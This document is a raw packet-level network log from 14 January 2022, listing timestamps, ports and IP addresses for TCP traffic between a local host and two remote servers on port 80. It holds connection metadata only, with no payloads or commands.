Jan 14, 2022 12:30:15.805891037 CET	49922	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.807996988 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:15.813436985 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:15.813798904 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.814052105 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.814060926 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.814248085 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.814258099 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.814414978 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.814424038 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.814591885 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.814601898 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.814785004 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.814794064 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.814922094 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.815076113 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.815082073 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.815195084 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.815376043 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.815381050 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.815548897 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.815553904 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.815717936 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.815722942 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.815884113 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.815888882 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.816047907 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.816052914 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.816230059 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.816236019 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.816401005 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.816406012 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.816648006 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.816653013 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.816654921 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.816818953 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.816823959 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.816986084 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.816991091 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.817153931 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.817158937 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.817329884 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.817334890 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.817498922 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.817504883 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.817665100 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.817670107 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.817835093 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.817840099 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.818000078 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.818005085 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.818166971 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.818171978 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.819662094 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.819848061 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.819854021 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.820018053 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.820024014 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.820185900 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.820192099 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.820368052 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.820374012 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.820533991 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.820539951 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.820703030 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.820708036 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.820873022 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.820878029 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.821043015 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.821048021 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.821214914 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.821219921 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.821424961 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.821432114 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.821595907 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.821599960 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.821764946 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.821777105 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.821934938 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.821944952 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.822103024 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.822113991 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.822384119 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.822396040 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.822586060 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.822599888 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.822777987 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.822788954 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.822967052 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.822978973 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.823157072 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.823168039 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.823353052 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.823360920 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.823532104 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.823544025 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.823715925 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.823725939 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.823883057 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.823894024 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.824084044 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.824094057 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.824275970 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.824285984 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.824506044 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.826556921 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:15.832307100 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:15.834440947 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:15.835644007 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:15.837950945 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:15.850522041 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.850723982 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.850882053 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.851064920 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.851075888 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.851295948 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.851305008 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.851468086 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.851479053 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.851636887 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.851645947 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.851805925 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.851815939 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.851974010 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.851984024 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.852076054 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.852179050 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.852365017 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.852375031 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.852530003 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.852539062 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.852785110 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.852796078 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.852798939 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.852955103 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.852967024 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.853121042 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.853131056 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.853297949 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.853307962 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.853462934 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.853471041 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.853631973 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.853640079 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.853797913 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.853806019 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.853967905 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.853976965 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.854131937 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.854140043 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.854335070 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.854343891 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.854501963 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.854510069 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.854677916 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.854687929 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.854847908 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.854856014 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.855015993 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.855025053 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.855184078 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.855191946 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.855442047 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.855451107 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.855626106 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.855635881 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.855809927 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.855822086 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.855989933 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.855998993 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.856167078 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.856178999 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.856345892 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.856354952 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.856523991 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.856533051 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.856703997 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.856715918 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.856879950 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.856890917 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.857055902 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.857065916 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.857235909 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.857244015 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.857403040 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.857675076 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:15.857711077 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:15.859354019 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:15.861408949 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:15.861434937 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:15.861941099 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:15.868099928 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:15.878623009 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:15.878663063 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:15.879539013 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:15.879765987 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:15.879795074 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:15.879997015 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:15.880064011 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:15.880297899 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:15.880456924 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:15.881021976 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:15.881493092 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:15.881522894 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:15.881896973 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:15.881934881 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:15.882170916 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:15.882195950 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:15.882766008 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:15.882791996 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:15.891282082 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:15.891311884 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:15.891338110 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:15.891362906 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:15.891387939 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:15.901581049 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.901897907 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.901907921 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.902602911 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.902618885 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.902709961 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.902950048 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.903147936 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.903156996 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.903218985 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.903403997 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.903414011 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.903569937 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.903579950 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.903740883 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.903750896 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.903912067 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.903920889 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.904076099 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.904084921 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.904318094 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.904325962 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.904500008 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.904509068 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.904705048 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.905004025 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.905010939 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.907157898 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.907165051 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.907279015 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.907537937 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.946595907 CET	49923	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:15.964067936 CET	80	49923	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:15.964282036 CET	49923	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:15.964313984 CET	49923	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:15.964597940 CET	49923	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:15.974705935 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.974730015 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.974982023 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.974989891 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.975121975 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.975369930 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.975377083 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.975610971 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.975619078 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.975841045 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.975848913 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.976066113 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.976073027 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.976310015 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.976316929 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.976587057 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.976592064 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.976816893 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.976825953 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.977008104 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.977015972 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.977196932 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.977205992 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.977390051 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.977397919 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.977581024 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.977588892 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.977780104 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.977787018 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.977999926 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.978009939 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.978281975 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.978288889 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.978554964 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.978564024 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.978797913 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.978805065 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.979060888 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.979069948 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.979429007 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.979437113 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.979623079 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.979631901 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.979808092 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.979815006 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.980037928 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.980046988 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.980216980 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.980225086 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.980417013 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.980426073 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.980688095 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.980695963 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.980698109 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.980869055 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.980878115 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.981045961 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.981055021 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.981235981 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.981245995 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.981712103 CET	80	49923	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:15.981743097 CET	80	49923	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:15.988567114 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.988703966 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.988790989 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.988806009 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.988955975 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.988969088 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.989126921 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.989142895 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.989301920 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.989316940 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.989481926 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.989496946 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.989664078 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.989677906 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.989892006 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.989918947 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.990098000 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.990112066 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.990380049 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.990395069 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.990601063 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.990614891 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.990797043 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.990812063 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.990988016 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.991003036 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.991189003 CET	49914	80	192.168.2.4	185.215.113.35
